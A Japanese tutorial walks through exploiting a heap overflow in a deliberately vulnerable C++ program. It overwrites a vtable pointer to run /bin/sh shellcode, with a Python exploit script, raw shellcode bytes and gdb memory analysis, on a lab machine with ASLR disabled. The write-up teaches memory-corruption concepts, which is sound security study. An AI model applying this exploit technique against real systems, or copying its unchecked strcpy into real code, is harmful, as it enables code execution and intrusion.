ヒープオーバーフローによるC++ vtable overwriteをやってみる
「ヒープオーバーフローによるGOT overwriteをやってみる」ではプログラム中にて定義した構造体を利用してヒープオーバーフローを行った。 これに関連して、C++において仮想関数をメンバ関数に持つクラスを利用すると、ヒープオーバーフローにより任意のアドレスにジャンプさせることができる場合がある。 ここでは、C++の仮想関数およびvtableの概要と、これを利用したヒープオーバーフローによるシェルコード実行をやってみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
脆弱性のあるプログラムを用意する
C++で仮想関数を持つクラスを利用した、次のようなコードを書いてみる。
// vtable.cpp
#include <cstdio>
#include <cstring>
using namespace std;
class Animal {
public:
char name[100];
virtual void cry() { printf("%s: ...\n", name); }
};
class Dog : public Animal {
public:
virtual void cry() { printf("%s: bow wow\n", name); }
};
class Cat : public Animal {
public:
virtual void cry() { printf("%s: meow\n", name); }
};
void kick(Animal* x)
{
x->cry();
}
int main(int argc, char *argv[])
{
Dog *dog = new Dog();
Cat *cat = new Cat();
printf("[+] dog->name = %p\n", dog->name);
printf("[+] cat->name = %p\n", cat->name);
strcpy(dog->name, argv[1]);
strcpy(cat->name, argv[2]);
kick(dog);
kick(cat);
delete cat;
delete dog;
return 0;
}
このコードでは、Animalクラスとこれを継承したDog、Catサブクラスがあり、それぞれのサブクラスで特殊化されたcry関数をkick関数により呼び出すものである。 また、strcpy関数を利用していることからわかるように、このコードにはヒープオーバーフローの脆弱性がある。
ASLR、DEP無効、SSP有効でコンパイル・実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 $ g++ -z execstack vtable.cpp $ ./a.out pochi tama [+] dog->name = 0x804b00c [+] cat->name = 0x804b07c pochi: bow wow tama: meow
kick関数がそれぞれのサブクラスに応じたcry関数を呼び出していることがわかる。
仮想関数とvtableの仕組みについて確認してみる
仮想関数は、C++においてPolymorphismを実現するための仕組みである。
すなわち、実際に受け取ったインスタンスが属するサブクラスに応じて、呼び出される関数を変える仕組みである。
上の例において、kick関数はDogサブクラスのインスタンスが来た場合はDog::cry()を、Catサブクラスのインスタンスが来た場合はCat::cry()を呼び出している。
仮想関数は、クラスのメンバ関数にvirtualキーワードをつけることによって定義される。
この仕組みがアセンブリコード上でどのように実現されているか、objdumpコマンドを使って調べてみる。 なお、C++ではシンボル名は引数の型などをもとにName manglingと呼ばれる変換が行われるが、c++filtコマンドを使うことでこれをわかりやすい形にdemangleすることができる。 ディスアセンブルした結果のうち、kick関数の部分のみを抜き出すと次のようになる。
$ objdump -d a.out | c++filt | sed -n '/<kick(Animal\*)>:/,/^$/p' 08048574 <kick(Animal*)>: 8048574: 55 push ebp 8048575: 89 e5 mov ebp,esp 8048577: 83 ec 18 sub esp,0x18 804857a: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 804857d: 8b 00 mov eax,DWORD PTR [eax] 804857f: 8b 10 mov edx,DWORD PTR [eax] 8048581: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 8048584: 89 04 24 mov DWORD PTR [esp],eax 8048587: ff d2 call edx 8048589: c9 leave 804858a: c3 ret
上より、まずeaxレジスタに第一引数として与えたインスタンスを指すポインタがセットされ、これを2回デリファレンスしたものがedxレジスタにセットされた後call命令で呼ばれていることがわかる。 第一引数が関数の呼び出しごとに変わることを考慮すると、このコードによりDog、Catそれぞれのサブクラスに応じたcry関数が呼ばれていることが推測できる。
比較のため、メンバ関数が仮想関数でない場合についても調べてみる。 まずは、元のコードからすべてのvirtualキーワードを削除したコードを用意する。
$ cp vtable.cpp vtable2.cpp
$ vi vtable2.cpp
$ diff -u vtable.cpp vtable2.cpp
--- vtable.cpp 2014-05-13 12:06:11.138956959 +0900
+++ vtable2.cpp 2014-05-13 12:11:06.134957717 +0900
@@ -6,17 +6,17 @@
class Animal {
public:
char name[100];
- virtual void cry() { printf("%s: ...\n", name); }
+ void cry() { printf("%s: ...\n", name); }
};
class Dog : public Animal {
public:
- virtual void cry() { printf("%s: bow wow\n", name); }
+ void cry() { printf("%s: bow wow\n", name); }
};
class Cat : public Animal {
public:
- virtual void cry() { printf("%s: meow\n", name); }
+ void cry() { printf("%s: meow\n", name); }
};
void kick(Animal* x)
同じ条件にてコンパイルし、実行すると次のようになる。
$ g++ -z execstack vtable2.cpp $ ./a.out pochi tama [+] dog->name = 0x804b008 [+] cat->name = 0x804b070 pochi: ... tama: ...
Dogサブクラス、Catサブクラスのどちらもkick関数の引数の型として指定されたAnimalクラスとして扱われ、Animal::cry()関数が呼ばれていることがわかる。
実際にアセンブリコードを見てみると、call命令で呼び出される関数がAnimal::cry()固定になっている。
$ objdump -d a.out | c++filt | sed -n '/<kick(Animal\*)>:/,/^$/p' 080484d4 <kick(Animal*)>: 80484d4: 55 push ebp 80484d5: 89 e5 mov ebp,esp 80484d7: 83 ec 18 sub esp,0x18 80484da: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 80484dd: 89 04 24 mov DWORD PTR [esp],eax 80484e0: e8 75 01 00 00 call 804865a <Animal::cry()> 80484e5: c9 leave 80484e6: c3 ret
このようにメンバ関数が仮想関数でない場合、呼び出される関数は変数の型情報をもとにコンパイル時に決定される。
メモリの状態を調べてみる
次に、各インスタンスがどのようにメモリに配置されているかを確認してみる。
再び最初のコードをコンパイルし直した後、gdbを使ってヒープ領域のメモリ内容を調べる。
なお、gdbで事前にset print asm-demangle onを実行しておくと、アセンブリコード中のシンボルがdemangleされるようになりわかりやすい。
$ g++ -z execstack vtable.cpp
$ gdb -q a.out
Reading symbols from /home/user/tmp/vtable/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) set print asm-demangle on
(gdb) disas main
Dump of assembler code for function main:
...
0x08048633 <+168>: call 0x8048490 <strcpy@plt>
0x08048638 <+173>: mov eax,DWORD PTR [ebp+0xc]
0x0804863b <+176>: add eax,0x8
0x0804863e <+179>: mov eax,DWORD PTR [eax]
0x08048640 <+181>: mov edx,DWORD PTR [esp+0x1c]
0x08048644 <+185>: add edx,0x4
0x08048647 <+188>: mov DWORD PTR [esp+0x4],eax
0x0804864b <+192>: mov DWORD PTR [esp],edx
0x0804864e <+195>: call 0x8048490 <strcpy@plt>
0x08048653 <+200>: mov eax,DWORD PTR [esp+0x18]
...
End of assembler dump.
(gdb) b *main+200
Breakpoint 1 at 0x8048653
(gdb) run AAAA BBBB
Starting program: /home/user/tmp/vtable/a.out AAAA BBBB
[+] dog->name = 0x804b00c
[+] cat->name = 0x804b07c
Breakpoint 1, 0x08048653 in main ()
(gdb) i proc map
process 22370
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 /home/user/tmp/vtable/a.out
0x8049000 0x804a000 0x1000 0x0 /home/user/tmp/vtable/a.out
0x804a000 0x804b000 0x1000 0x1000 /home/user/tmp/vtable/a.out
0x804b000 0x806c000 0x21000 0x0 [heap]
0xb7cfa000 0xb7cfc000 0x2000 0x0
...
(gdb) x/100wx 0x804b000
0x804b000: 0x00000000 0x00000071 0x08048860 0x41414141
0x804b010: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b040: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b070: 0x00000000 0x00000071 0x08048850 0x42424242
0x804b080: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b0e0: 0x00000000 0x00020f21 0x00000000 0x00000000
0x804b0f0: 0x00000000 0x00000000 0x00000000 0x00000000
...
(gdb) x/wx 0x08048860
0x8048860 <vtable for Dog+8>: 0x080486ae
(gdb) x/i 0x080486ae
0x80486ae <Dog::cry()>: push ebp
(gdb) x/wx 0x08048858
0x8048858 <vtable for Dog>: 0x00000000
(gdb) x/wx 0x0804885c
0x804885c <vtable for Dog+4>: 0x08048890
(gdb) x/wx 0x08048890
0x8048890 <typeinfo for Dog>: 0x0804a068
(gdb) x/wx 0x08048850
0x8048850 <vtable for Cat+8>: 0x080486cc
(gdb) x/i 0x080486cc
0x80486cc <Cat::cry()>: push ebp
(gdb) x/wx 0x08048848
0x8048848 <vtable for Cat>: 0x00000000
(gdb) x/wx 0x0804884c
0x804884c <vtable for Cat+4>: 0x0804887c
(gdb) x/wx 0x0804887c
0x804887c <typeinfo for Cat>: 0x0804a068
(gdb) quit
A debugging session is active.
Inferior 1 [process 22370] will be killed.
Quit anyway? (y or n) y
上で調べた結果を整理すると、次のようになる。
0x804b000:
0x00000000
0x00000071
0x08048860 (pointer to <vtable for Dog+8>)
0x804b00c:
0x41414141 (dog->name)
...
0x00000000
0x804b070:
0x00000000
0x00000071
0x08048850 (pointer to <vtable for Cat+8>)
0x804b07c:
0x42424242 (cat->name)
...
0x00000000
0x804b0e0:
0x00000000
0x00020f21
0x00000000
...
0x8048858 <vtable for Dog>:
0x00000000
0x08048890 <typeinfo for Dog>
0x8048860:
0x080486ae <Dog::cry()>
0x8048848 <vtable for Cat>:
0x00000000
0x0804887c <typeinfo for Cat>
0x8048850:
0x080486cc <Cat::cry()>
ここで、vtableは各クラスで定義されている仮想関数のリストを格納したテーブルであり、仮想関数テーブルと呼ばれる。
上のレイアウトから、strcpy関数によりdog->nameをオーバーフローさせることで、catにおいてvtableを指しているポインタを上書きできることがわかる。
そして、vtableを指しているポインタを自分がコントロール可能なバッファを指すポインタに上書きすることができれば、そこからCat::cry()の代わりに適当な命令列を実行させることができる。
エクスプロイトコードを書いてみる
上の内容をもとに、ヒープオーバーフローによりcatのvtableポインタを書き換え、Cat::cry()の代わりにシェルコードを実行させるエクスプロイトコードを書くと次のようになる。
# exploit.py
import sys
import struct
from subprocess import Popen
bufsize = int(sys.argv[1])
addr_buf = int(sys.argv[2], 16)
shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
buf = struct.pack('<I', addr_buf+4)
buf += shellcode
buf += 'A' * (bufsize - len(buf))
buf += 'AAAA' * 2
buf += struct.pack('<I', addr_buf)
with open('buf', 'wb') as f:
f.write(buf)
p = Popen(['./a.out', buf, 'BBBB'])
p.wait()
このコードは、ヒープオーバーフローに利用するバッファのサイズとアドレスを順に引数に取る。
このコードでは、vtableポインタをバッファの先頭を指すポインタに書き換え、Cat::cry()のアドレスが存在する部分にシェルコードのアドレスを配置している。
引数をセットし、実行してみる。
$ python exploit.py 100 0x804b00c [+] dog->name = 0x804b00c [+] cat->name = 0x804b07c (snip) $ id uid=1000(user) gid=1000(user) groups=1000(user) $
ヒープオーバーフローを利用したvtableポインタの書き換えにより、シェルコードが実行されシェルが起動できていることが確認できた。